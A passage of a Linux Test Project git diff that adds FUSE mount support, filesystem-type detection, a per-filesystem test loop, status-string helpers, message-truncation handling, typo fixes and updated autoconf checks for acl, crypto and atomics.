+	{0x0100, "exited with 1"},
+	{0x0001, "killed by SIGHUP"},
+	{0x137f, "is stopped"},
+	{0xffff, "is resumed"},
+	{0xff, "invalid status 0xff"},
+};
+
+static void do_test(unsigned int n)
+{
+	const char *str_status = tst_strstatus(tcases[n].status);
+
+	if (strcmp(str_status, tcases[n].str))
+		tst_res(TFAIL, "%s != %s", str_status, tcases[n].str);
+	else
+		tst_res(TPASS, "%s", str_status);
+}
+
+static struct tst_test test = {
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/lib/safe_macros.c b/lib/safe_macros.c
index 7ca1849..c48e436 100644
--- a/lib/safe_macros.c
+++ b/lib/safe_macros.c
@@ -699,6 +699,23 @@
 	return rval;
 }
 
+static const char *const fuse_fs_types[] = {
+	"exfat",
+	"ntfs",
+};
+
+static int is_fuse(const char *fs_type)
+{
+	unsigned int i;
+
+	for (i = 0; i < ARRAY_SIZE(fuse_fs_types); i++) {
+		if (!strcmp(fuse_fs_types[i], fs_type))
+			return 1;
+	}
+
+	return 0;
+}
+
 int safe_mount(const char *file, const int lineno, void (*cleanup_fn)(void),
 	       const char *source, const char *target,
 	       const char *filesystemtype, unsigned long mountflags,
@@ -706,8 +723,30 @@
 {
 	int rval;
 
-	rval = mount(source, target, filesystemtype, mountflags, data);
+	/*
+	 * The FUSE filesystem executes mount.fuse helper, which tries to
+	 * execute corresponding binary name which is encoded at the start of
+	 * the source string and separated by # from the device name.
+         *
+	 * The mount helpers are called mount.$fs_type.
+	 */
+	if (is_fuse(filesystemtype)) {
+		char buf[1024];
 
+		tst_resm(TINFO, "Trying FUSE...");
+		snprintf(buf, sizeof(buf), "mount.%s '%s' '%s'",
+			 filesystemtype, source, target);
+
+		rval = tst_system(buf);
+		if (WIFEXITED(rval) && WEXITSTATUS(rval) == 0)
+			return 0;
+
+		tst_brkm(TBROK, cleanup_fn, "mount.%s failed with %i",
+			 filesystemtype, rval);
+		return -1;
+	}
+
+	rval = mount(source, target, filesystemtype, mountflags, data);
 	if (rval == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "%s:%d: mount(%s, %s, %s, %lu, %p) failed",
diff --git a/lib/self_exec.c b/lib/self_exec.c
index c287ce9..de7d095 100644
--- a/lib/self_exec.c
+++ b/lib/self_exec.c
@@ -32,6 +32,7 @@
 #include <string.h>
 #include <stdio.h>
 #include "test.h"
+#include "safe_macros.h"
 
 /* Set from parse_opts.c: */
 char *child_args;		/* Arguments to child when -C is used */
@@ -152,11 +153,7 @@
 
 		va_end(ap);
 		free(args);
-		if (chdir(child_dir) < 0) {
-			tst_brkm(TBROK, NULL,
-				 "Could not change to %s for child", child_dir);
-			return;
-		}
+		SAFE_CHDIR(NULL, child_dir);
 
 		(*child) ();
 		tst_resm(TWARN, "Child function returned unexpectedly");
diff --git a/lib/tst_checkpoint.c b/lib/tst_checkpoint.c
index e8e35ae..5455d03 100644
--- a/lib/tst_checkpoint.c
+++ b/lib/tst_checkpoint.c
@@ -44,7 +44,7 @@
 
 	if (tst_futexes) {
 		tst_brkm(TBROK, cleanup_fn,
-		         "%s: %d checkopoints allready initialized",
+		         "%s: %d checkpoints already initialized",
 		         file, lineno);
 		return;
 	}
diff --git a/lib/tst_device.c b/lib/tst_device.c
index 67432ca..edfacbd 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -134,6 +134,7 @@
 static int attach_device(const char *dev, const char *file)
 {
 	int dev_fd, file_fd;
+	struct loop_info loopinfo;
 
 	dev_fd = open(dev, O_RDWR);
 	if (dev_fd < 0) {
@@ -156,6 +157,21 @@
 		return 1;
 	}
 
+	/* Old mkfs.btrfs use LOOP_GET_STATUS instead of backing_file to get
+	 * associated filename, so we need to set up the device by calling
+	 * LOOP_SET_FD and LOOP_SET_STATUS.
+	 */
+	memset(&loopinfo, 0, sizeof(loopinfo));
+	strcpy(loopinfo.lo_name, file);
+
+	if (ioctl(dev_fd, LOOP_SET_STATUS, &loopinfo)) {
+		close(dev_fd);
+		close(file_fd);
+		tst_resm(TWARN | TERRNO,
+			 "ioctl(%s, LOOP_SET_STATUS, %s) failed", dev, file);
+		return 1;
+	}
+
 	close(dev_fd);
 	close(file_fd);
 	return 0;
@@ -245,15 +261,8 @@
 
 		ltp_dev_size = ltp_dev_size/1024/1024;
 
-		if (acq_dev_size <= ltp_dev_size) {
-			if (tst_fill_file(dev, 0, 1024, 512)) {
-				tst_resm(TWARN | TERRNO,
-					 "Failed to clear the first 512k of %s",
-					 dev);
-			}
-
+		if (acq_dev_size <= ltp_dev_size)
 			return dev;
-		}
 
 		tst_resm(TINFO, "Skipping $LTP_DEV size %"PRIu64"MB, requested size %uMB",
 				ltp_dev_size, acq_dev_size);
@@ -280,7 +289,7 @@
 	const char *device;
 
 	if (device_acquired) {
-		tst_brkm(TBROK, cleanup_fn, "Device allready acquired");
+		tst_brkm(TBROK, cleanup_fn, "Device already acquired");
 		return NULL;
 	}
 
@@ -308,7 +317,7 @@
 		return 0;
 
 	/*
-	 * Loop device was created -> we need to deatch it.
+	 * Loop device was created -> we need to detach it.
 	 *
 	 * The file image is deleted in tst_rmdir();
 	 */
@@ -319,6 +328,16 @@
 	return ret;
 }
 
+int tst_clear_device(const char *dev)
+{
+	if (tst_fill_file(dev, 0, 1024, 512)) {
+		tst_resm(TWARN, "Failed to clear 512k block on %s", dev);
+		return 1;
+	}
+
+	return 0;
+}
+
 int tst_umount(const char *path)
 {
 	int err, ret, i;
diff --git a/lib/tst_fill_fs.c b/lib/tst_fill_fs.c
new file mode 100644
index 0000000..2775a2c
--- /dev/null
+++ b/lib/tst_fill_fs.c
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_fs.h"
+
+void tst_fill_fs(const char *path, int verbose)
+{
+	int i = 0;
+	char file[PATH_MAX];
+	char buf[4096];
+	size_t len;
+	ssize_t ret;
+	int fd;
+
+	for (;;) {
+		len = random() % (1024 * 102400);
+
+		snprintf(file, sizeof(file), "%s/file%i", path, i++);
+
+		if (verbose)
+			tst_res(TINFO, "Creating file %s size %zu", file, len);
+
+		fd = open(file, O_WRONLY | O_CREAT, 0700);
+		if (fd == -1) {
+			if (errno != ENOSPC)
+				tst_brk(TBROK | TERRNO, "open()");
+
+			tst_res(TINFO | TERRNO, "open()");
+			return;
+		}
+
+		while (len) {
+			ret = write(fd, buf, MIN(len, sizeof(buf)));
+
+			if (ret < 0) {
+				SAFE_CLOSE(fd);
+
+				if (errno != ENOSPC)
+					tst_brk(TBROK | TERRNO, "write()");
+
+				tst_res(TINFO | TERRNO, "write()");
+				return;
+			}
+
+			len -= ret;
+		}
+
+		SAFE_CLOSE(fd);
+	}
+}
diff --git a/lib/tst_kernel.c b/lib/tst_kernel.c
index fd648b1..42d64cb 100644
--- a/lib/tst_kernel.c
+++ b/lib/tst_kernel.c
@@ -34,8 +34,10 @@
 	/*
 	 * ARM64 (aarch64) defines 32-bit compatibility modes as
 	 * armv8l and armv8b (little and big endian).
+	 * s390x is 64bit but not contain 64 in the words.
 	 */
-	if (!strcmp(buf.machine, "armv8l") || !strcmp(buf.machine, "armv8b"))
+	if (!strcmp(buf.machine, "armv8l") || !strcmp(buf.machine, "armv8b")
+			|| !strcmp(buf.machine, "s390x"))
 		kernel_bits = 64;
 
 	tst_resm(TINFO, "uname.machine=%s kernel is %ibit",
diff --git a/lib/tst_mkfs.c b/lib/tst_mkfs.c
index f2e40ec..7385a93 100644
--- a/lib/tst_mkfs.c
+++ b/lib/tst_mkfs.c
@@ -18,6 +18,7 @@
 #include "test.h"
 #include "ltp_priv.h"
 #include "tst_mkfs.h"
+#include "tst_device.h"
 
 #define OPTS_MAX 32
 
@@ -75,6 +76,9 @@
 
 	argv[pos] = NULL;
 
+	if (tst_clear_device(dev))
+		tst_brkm(TBROK, cleanup_fn, "tst_clear_device() failed");
+
 	tst_resm(TINFO, "Formatting %s with %s opts='%s' extra opts='%s'",
 	         dev, fs_type, fs_opts_str, extra_opt ? extra_opt : "");
 	ret = tst_run_cmd(cleanup_fn, argv, "/dev/null", NULL, 1);
diff --git a/lib/tst_res.c b/lib/tst_res.c
index 8cf5f0d..b56f37d 100644
--- a/lib/tst_res.c
+++ b/lib/tst_res.c
@@ -48,6 +48,7 @@
 #include <sys/wait.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "usctest.h"
 #include "ltp_priv.h"
 #include "tst_ansi_color.h"
@@ -80,8 +81,14 @@
 	assert(strlen(buf) > 0);		\
 } while (0)
 
-#if defined(__ANDROID__) && !defined(PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP)
-#define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP PTHREAD_RECURSIVE_MUTEX_INITIALIZER;
+#ifndef PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP
+# ifdef __ANDROID__
+#  define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP \
+	PTHREAD_RECURSIVE_MUTEX_INITIALIZER
+# else
+/* MUSL: http://www.openwall.com/lists/musl/2017/02/20/5 */
+#  define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP  { {PTHREAD_MUTEX_RECURSIVE} }
+# endif
 #endif
 
 static pthread_mutex_t tmutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP;
@@ -423,8 +430,7 @@
 
 	NO_NEWLIB_ASSERT("Unknown", 0);
 
-	if (waitpid(child, &status, 0) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid(%d) failed", child);
+	SAFE_WAITPID(cleanup, child, &status, 0);
 
 	if (WIFEXITED(status)) {
 		ttype_result = WEXITSTATUS(status);
diff --git a/lib/tst_status.c b/lib/tst_status.c
new file mode 100644
index 0000000..bfe3b5f
--- /dev/null
+++ b/lib/tst_status.c
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+static char buf[32];
+
+const char *exited(int status)
+{
+	snprintf(buf, sizeof(buf), "exited with %i", WEXITSTATUS(status));
+
+	return buf;
+}
+
+const char *signaled(int status)
+{
+	snprintf(buf, sizeof(buf), "killed by %s", tst_strsig(status));
+
+	return buf;
+}
+
+const char *invalid(int status)
+{
+	snprintf(buf, sizeof(buf), "invalid status 0x%x", status);
+
+	return buf;
+}
+
+const char *tst_strstatus(int status)
+{
+	if (WIFEXITED(status))
+		return exited(status);
+
+	if (WIFSIGNALED(status))
+		return signaled(status);
+
+	if (WIFSTOPPED(status))
+		return "is stopped";
+
+	if (WIFCONTINUED(status))
+		return "is resumed";
+
+	return invalid(status);
+}
diff --git a/lib/tst_supported_fs_types.c b/lib/tst_supported_fs_types.c
new file mode 100644
index 0000000..a23b1ed
--- /dev/null
+++ b/lib/tst_supported_fs_types.c
@@ -0,0 +1,118 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <stdio.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <sys/mount.h>
+#include <sys/wait.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_fs.h"
+
+static const char *const fs_type_whitelist[] = {
+	"ext2",
+	"ext3",
+	"ext4",
+	"xfs",
+	"btrfs",
+	"vfat",
+	"exfat",
+	"ntfs",
+	NULL
+};
+
+static const char *fs_types[ARRAY_SIZE(fs_type_whitelist)];
+
+static int has_mkfs(const char *fs_type)
+{
+	char buf[128];
+	int ret;
+
+	sprintf(buf, "mkfs.%s >/dev/null 2>&1", fs_type);
+
+	ret = tst_system(buf);
+
+	if (WEXITSTATUS(ret) == 127) {
+		tst_res(TINFO, "mkfs.%s does not exist", fs_type);
+		return 0;
+	}
+
+	tst_res(TINFO, "mkfs.%s does exist", fs_type);
+	return 1;
+}
+
+static int has_kernel_support(const char *fs_type)
+{
+	static int fuse_supported = -1;
+	const char *tmpdir = getenv("TMPDIR");
+	char buf[128];
+	int ret;
+
+	if (!tmpdir)
+		tmpdir = "/tmp";
+
+	mount("/dev/zero", tmpdir, fs_type, 0, NULL);
+	if (errno != ENODEV) {
+		tst_res(TINFO, "Kernel supports %s", fs_type);
+		return 1;
+	}
+
+	/* Is FUSE supported by kernel? */
+	if (fuse_supported == -1) {
+		ret = open("/dev/fuse", O_RDWR);
+		if (ret < 0) {
+			fuse_supported = 0;
+		} else {
+			fuse_supported = 1;
+			SAFE_CLOSE(ret);
+		}
+	}
+
+	if (!fuse_supported)
+		return 0;
+
+	/* Is FUSE implementation installed? */
+	sprintf(buf, "mount.%s >/dev/null 2>&1", fs_type);
+
+	ret = tst_system(buf);
+	if (WEXITSTATUS(ret) == 127) {
+		tst_res(TINFO, "Filesystem %s is not supported", fs_type);
+		return 0;
+	}
+
+	tst_res(TINFO, "FUSE does support %s", fs_type);
+	return 1;
+}
+
+static int is_supported(const char *fs_type)
+{
+	return has_kernel_support(fs_type) && has_mkfs(fs_type);
+}
+
+const char **tst_get_supported_fs_types(void)
+{
+	unsigned int i, j = 0;
+
+	for (i = 0; fs_type_whitelist[i]; i++) {
+		if (is_supported(fs_type_whitelist[i]))
+			fs_types[j++] = fs_type_whitelist[i];
+	}
+
+	return fs_types;
+}
diff --git a/lib/tst_test.c b/lib/tst_test.c
index a627242..1df4b72 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -32,6 +32,7 @@
 #include "lapi/futex.h"
 #include "lapi/syscalls.h"
 #include "tst_ansi_color.h"
+#include "tst_safe_stdio.h"
 #include "tst_timer_test.h"
 
 #include "old_resource.h"
@@ -40,6 +41,7 @@
 
 struct tst_test *tst_test;
 
+static const char *tid;
 static int iterations = 1;
 static float duration = -1;
 static pid_t main_pid, lib_pid;
@@ -64,7 +66,6 @@
 
 static char ipc_path[1024];
 const char *tst_ipc_path = ipc_path;
-char *const tst_ipc_envp[] = {ipc_path, NULL};
 
 static char shm_path[1024];
 
@@ -77,7 +78,7 @@
 
 	if (access("/dev/shm", F_OK) == 0) {
 		snprintf(shm_path, sizeof(shm_path), "/dev/shm/ltp_%s_%d",
-		         tst_test->tid, getpid());
+		         tid, getpid());
 	} else {
 		char *tmpdir;
 
@@ -86,23 +87,26 @@
 
 		tmpdir = tst_get_tmpdir();
 		snprintf(shm_path, sizeof(shm_path), "%s/ltp_%s_%d",
-		         tmpdir, tst_test->tid, getpid());
+		         tmpdir, tid, getpid());
 		free(tmpdir);
 	}
 
 	ipc_fd = open(shm_path, O_CREAT | O_EXCL | O_RDWR, 0600);
 	if (ipc_fd < 0)
 		tst_brk(TBROK | TERRNO, "open(%s)", shm_path);
+	SAFE_CHMOD(shm_path, 0666);
 
 	SAFE_FTRUNCATE(ipc_fd, size);
 
 	results = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, ipc_fd, 0);
 
 	/* Checkpoints needs to be accessible from processes started by exec() */
-	if (tst_test->needs_checkpoints)
+	if (tst_test->needs_checkpoints) {
 		sprintf(ipc_path, IPC_ENV_VAR "=%s", shm_path);
-	else
+		putenv(ipc_path);
+	} else {
 		SAFE_UNLINK(shm_path);
+	}
 
 	SAFE_CLOSE(ipc_fd);
 
@@ -130,13 +134,13 @@
 
 void tst_reinit(void)
 {
-	const char *path = getenv("LTP_IPC_PATH");
+	const char *path = getenv(IPC_ENV_VAR);
 	size_t size = getpagesize();
 	int fd;
 	void *ptr;
 
 	if (!path)
-		tst_brk(TBROK, "LTP_IPC_PATH is not defined");
+		tst_brk(TBROK, IPC_ENV_VAR" is not defined");
 
 	if (access(path, F_OK))
 		tst_brk(TBROK, "File %s does not exist!", path);
@@ -176,7 +180,7 @@
 {
 	char buf[1024];
 	char *str = buf;
-	int ret, size = sizeof(buf);
+	int ret, size = sizeof(buf), ssize;
 	const char *str_errno = NULL;
 	const char *res;
 
@@ -222,14 +226,21 @@
 	str += ret;
 	size -= ret;
 
+	ssize = size - 2;
 	ret = vsnprintf(str, size, fmt, va);
-	str += ret;
-	size -= ret;
-
-	if (str_errno) {
+	str += MIN(ret, ssize);
+	size -= MIN(ret, ssize);
+	if (ret >= ssize) {
+		tst_res_(file, lineno, TWARN,
+				"Next message is too long and truncated:");
+	} else if (str_errno) {
+		ssize = size - 2;
 		ret = snprintf(str, size, ": %s", str_errno);
-		str += ret;
-		size -= ret;
+		str += MIN(ret, ssize);
+		size -= MIN(ret, ssize);
+		if (ret >= ssize)
+			tst_res_(file, lineno, TWARN,
+				"Next message is too long and truncated:");
 	}
 
 	snprintf(str, size, "\n");
@@ -323,7 +334,7 @@
 	}
 
 	if (!(WIFEXITED(status)))
-		tst_brk(TBROK, "Child (%i) exitted abnormaly", pid);
+		tst_brk(TBROK, "Child (%i) exited abnormaly", pid);
 
 	ret = WEXITSTATUS(status);
 	switch (ret) {
@@ -491,6 +502,9 @@
 			parse_topt(topts_len, opt, optarg);
 		}
 	}
+
+	if (optind < argc)
+		tst_brk(TBROK, "Unexpected argument(s) '%s'...", argv[optind]);
 }
 
 int tst_parse_int(const char *str, int *val, int min, int max)
@@ -566,6 +580,9 @@
 		printf("skipped  %d\n", results->skipped);
 		printf("warnings %d\n", results->warnings);
 
+		if (results->passed && ret == TCONF)
+			ret = 0;
+
 		if (results->failed)
 			ret |= TFAIL;
 
@@ -672,6 +689,20 @@
 		tst_brk(TBROK, "You can define tcnt only for test()");
 }
 
+static void prepare_device(void)
+{
+	if (tst_test->format_device) {
+		SAFE_MKFS(tdev.dev, tdev.fs_type, tst_test->dev_fs_opts,
+			  tst_test->dev_extra_opt);
+	}
+
+	if (tst_test->mount_device) {
+		SAFE_MOUNT(tdev.dev, tst_test->mntpoint, tdev.fs_type,
+			   tst_test->mnt_flags, tst_test->mnt_data);
+		mntpoint_mounted = 1;
+	}
+}
+
 static void do_setup(int argc, char *argv[])
 {
 	if (!tst_test)
@@ -682,12 +713,11 @@
 
 	assert_test_fn();
 
+	tid = get_tid(argv);
+
 	if (tst_test->sample)
 		tst_test = tst_timer_test_setup(tst_test);
 
-	if (!tst_test->tid)
-		tst_test->tid = get_tid(argv);
-
 	parse_opts(argc, argv);
 
 	if (tst_test->needs_root && geteuid() != 0)
@@ -704,6 +734,9 @@
 		tst_test->format_device = 1;
 	}
 
+	if (tst_test->all_filesystems)
+		tst_test->needs_device = 1;
+
 	setup_ipc();
 
 	if (needs_tmpdir() && !tst_tmpdir_created())
@@ -712,8 +745,8 @@
 	if (tst_test->mntpoint)
 		SAFE_MKDIR(tst_test->mntpoint, 0777);
 
-	if ((tst_test->needs_rofs || tst_test->mount_device) &&
-	    !tst_test->mntpoint) {
+	if ((tst_test->needs_rofs || tst_test->mount_device ||
+	     tst_test->all_filesystems) && !tst_test->mntpoint) {
 		tst_brk(TBROK, "tst_test->mntpoint must be set!");
 	}
 
@@ -747,17 +780,8 @@
 		else
 			tdev.fs_type = tst_dev_fs_type();
 
-		if (tst_test->format_device) {
-			SAFE_MKFS(tdev.dev, tdev.fs_type,
-			          tst_test->dev_fs_opts,
-				  tst_test->dev_extra_opt);
-		}
-
-		if (tst_test->mount_device) {
-			SAFE_MOUNT(tdev.dev, tst_test->mntpoint, tdev.fs_type,
-				   tst_test->mnt_flags, tst_test->mnt_data);
-			mntpoint_mounted = 1;
-		}
+		if (!tst_test->all_filesystems)
+			prepare_device();
 	}
 
 	if (tst_test->resource_files)
@@ -836,12 +860,35 @@
 	return tv.tv_sec * 1000 + tv.tv_usec / 1000;
 }
 
+static void add_paths(void)
+{
+	char *old_path = getenv("PATH");
+	const char *start_dir;
+	char *new_path;
+
+	start_dir = tst_get_startwd();
+
+	if (old_path)
+		SAFE_ASPRINTF(&new_path, "%s::%s", old_path, start_dir);
+	else
+		SAFE_ASPRINTF(&new_path, "::%s", start_dir);
+
+	SAFE_SETENV("PATH", new_path, 1);
+	free(new_path);
+}
+
+static void heartbeat(void)
+{
+	kill(getppid(), SIGUSR1);
+}
+
 static void testrun(void)
 {
 	unsigned int i = 0;
 	unsigned long long stop_time = 0;
 	int cont = 1;
 
+	add_paths();
 	do_test_setup();
 
 	if (duration > 0)
@@ -862,8 +909,7 @@
 			break;
 
 		run_tests();
-
-		kill(getppid(), SIGUSR1);
+		heartbeat();
 	}
 
 	do_test_cleanup();
@@ -936,23 +982,13 @@
 	if (getpid() == lib_pid)
 		alarm(results->timeout);
 	else
-		kill(getppid(), SIGUSR1);
+		heartbeat();
 }
 
-void tst_run_tcases(int argc, char *argv[], struct tst_test *self)
+static int fork_testrun(void)
 {
 	int status;
 
-	lib_pid = getpid();
-	tst_test = self;
-
-	do_setup(argc, argv);
-
-	TCID = tst_test->tid;
-
-	SAFE_SIGNAL(SIGALRM, alarm_handler);
-	SAFE_SIGNAL(SIGUSR1, heartbeat_handler);
-
 	if (tst_test->timeout)
 		tst_set_timeout(tst_test->timeout);
 	else
@@ -977,7 +1013,7 @@
 	SAFE_SIGNAL(SIGINT, SIG_DFL);
 
 	if (WIFEXITED(status) && WEXITSTATUS(status))
-		do_exit(WEXITSTATUS(status));
+		return WEXITSTATUS(status);
 
 	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) {
 		tst_res(TINFO, "If you are running on slow machine, "
@@ -988,5 +1024,62 @@
 	if (WIFSIGNALED(status))
 		tst_brk(TBROK, "Test killed by %s!", tst_strsig(WTERMSIG(status)));
 
-	do_exit(0);
+	return 0;
+}
+
+static int run_tcases_per_fs(void)
+{
+	int ret = 0;
+	unsigned int i;
+	const char *const *filesystems = tst_get_supported_fs_types();
+
+	if (!filesystems[0])
+		tst_brk(TCONF, "There are no supported filesystems");
+
+	for (i = 0; filesystems[i]; i++) {
+		tdev.fs_type = filesystems[i];
+
+		prepare_device();
+
+		ret = fork_testrun();
+
+		if (mntpoint_mounted) {
+			tst_umount(tst_test->mntpoint);
+			mntpoint_mounted = 0;
+		}
+
+		if (ret == TCONF) {
+			update_results(ret);
+			continue;
+		}
+
+		if (ret == 0)
+			continue;
+
+		do_exit(ret);
+	}
+
+	return ret;
+}
+
+void tst_run_tcases(int argc, char *argv[], struct tst_test *self)
+{
+	int ret;
+
+	lib_pid = getpid();
+	tst_test = self;
+
+	do_setup(argc, argv);
+
+	TCID = tid;
+
+	SAFE_SIGNAL(SIGALRM, alarm_handler);
+	SAFE_SIGNAL(SIGUSR1, heartbeat_handler);
+
+	if (tst_test->all_filesystems)
+		ret = run_tcases_per_fs();
+	else
+		ret = fork_testrun();
+
+	do_exit(ret);
 }
diff --git a/lib/tst_timer_test.c b/lib/tst_timer_test.c
index cd4ebca..2aa2792 100644
--- a/lib/tst_timer_test.c
+++ b/lib/tst_timer_test.c
@@ -459,10 +459,10 @@
 {
 	setup = timer_test->setup;
 	cleanup = timer_test->cleanup;
-	scall = timer_test->tid;
+	scall = timer_test->scall;
 	sample = timer_test->sample;
 
-	timer_test->tid = NULL;
+	timer_test->scall = NULL;
 	timer_test->setup = timer_setup;
 	timer_test->cleanup = timer_cleanup;
 	timer_test->test = timer_test_fn;
diff --git a/lib/tst_tmpdir.c b/lib/tst_tmpdir.c
index 824cade..09b7b6e 100644
--- a/lib/tst_tmpdir.c
+++ b/lib/tst_tmpdir.c
@@ -71,6 +71,7 @@
 #include <fcntl.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "ltp_priv.h"
 #include "lapi/futex.h"
 
@@ -270,17 +271,9 @@
 		return;
 	}
 
-	if (chown(TESTDIR, -1, getgid()) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "chown(%s, -1, %d) failed", TESTDIR, getgid());
-		return;
-	}
+	SAFE_CHOWN(NULL, TESTDIR, -1, getgid());
 
-	if (chmod(TESTDIR, DIR_MODE) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "chmod(%s, %#o) failed", TESTDIR, DIR_MODE);
-		return;
-	}
+	SAFE_CHMOD(NULL, TESTDIR, DIR_MODE);
 
 	if (getcwd(test_start_work_dir, sizeof(test_start_work_dir)) == NULL) {
 		tst_resm(TINFO, "Failed to record test working dir");
diff --git a/m4/ltp-acl.m4 b/m4/ltp-acl.m4
index 6b73934..603837d 100644
--- a/m4/ltp-acl.m4
+++ b/m4/ltp-acl.m4
@@ -22,9 +22,11 @@
 dnl LTP_CHECK_ACL_SUPPORT
 dnl ----------------------------
 dnl
-AC_DEFUN([LTP_CHECK_ACL_SUPPORT],[
-AH_TEMPLATE(HAVE_LIBACL,
-[Define to 1 if you have libacl installed.])
-AC_CHECK_HEADERS([sys/acl.h], [acl_libs="-lacl"])
-AC_SUBST([ACL_LIBS], [$acl_libs])
+AC_DEFUN([LTP_CHECK_ACL_SUPPORT], [
+	AC_CHECK_LIB([acl], [acl_init], [have_libacl=yes], [AC_MSG_WARN(missing libacl)])
+	AC_CHECK_HEADERS([sys/acl.h], [have_acl=yes], [AC_MSG_WARN(missing libacl headers)])
+	if test "x$have_libacl" = "xyes" -a "x$have_acl" = "xyes"; then
+		AC_DEFINE(HAVE_LIBACL, 1, [Define to 1 if you have libacl and it's headers installed])
+	    AC_SUBST(ACL_LIBS, "-lacl")
+	fi
 ])
diff --git a/m4/ltp-atomic.m4 b/m4/ltp-atomic.m4
new file mode 100644
index 0000000..59614a1
--- /dev/null
+++ b/m4/ltp-atomic.m4
@@ -0,0 +1,33 @@
+dnl
+dnl Copyright (c) Linux Test Project, 2016
+dnl
+dnl This program is free software;  you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY;  without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+dnl the GNU General Public License for more details.
+dnl
+
+AC_DEFUN([LTP_CHECK_ATOMIC_MEMORY_MODEL],[dnl
+	AC_MSG_CHECKING([for __atomic_* compiler builtins])
+	AC_LINK_IFELSE([AC_LANG_SOURCE([
+int main(void) {
+	int i = 0, j = 0;
+	__atomic_add_fetch(&i, 1, __ATOMIC_ACQ_REL);
+	__atomic_load_n(&i, __ATOMIC_SEQ_CST);
+	__atomic_store_n(&i, 0, __ATOMIC_RELAXED);
+	return i;
+}])],[has_atomic_mm="yes"])
+
+if test "x$has_atomic_mm" = xyes; then
+	AC_DEFINE(HAVE_ATOMIC_MEMORY_MODEL,1,
+	          [Define to 1 if you have the __atomic_* compiler builtins])
+	AC_MSG_RESULT(yes)
+else
+	AC_MSG_RESULT(no)
+fi
+])
diff --git a/m4/ltp-crypto.m4 b/m4/ltp-crypto.m4
index 3dfc512..c0c65e0 100644
--- a/m4/ltp-crypto.m4
+++ b/m4/ltp-crypto.m4
@@ -2,8 +2,11 @@
 dnl LTP_CHECK_CRYPTO
 dnl ----------------------------
 dnl
-AC_DEFUN([LTP_CHECK_CRYPTO],
-[dnl
-AC_CHECK_HEADERS(openssl/sha.h,[CRYPTO_LIBS=-lcrypto],[CRYPTO_LIBS=])
-AC_SUBST(CRYPTO_LIBS)
+AC_DEFUN([LTP_CHECK_CRYPTO], [
+	AC_CHECK_LIB([crypto], [SHA1_Init], [have_libcrypto=yes], [AC_MSG_WARN(missing libcrypto)])
+	AC_CHECK_HEADERS([openssl/sha.h], [have_sha=yes], [AC_MSG_WARN(missing openssl headers)])
+	if test "x$have_libcrypto" = "xyes" -a "x$have_sha" = "xyes"; then
+		AC_DEFINE(HAVE_LIBCRYPTO, 1, [Define whether libcrypto and openssl headers are installed])
+		AC_SUBST(CRYPTO_LIBS, "-lcrypto")
+	fi
 ])
diff --git a/m4/ltp-eventfd.m4 b/m4/ltp-eventfd.m4
index 923b9bd..d06ddba 100644
--- a/m4/ltp-eventfd.m4
+++ b/m4/ltp-eventfd.m4
@@ -16,28 +16,28 @@
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
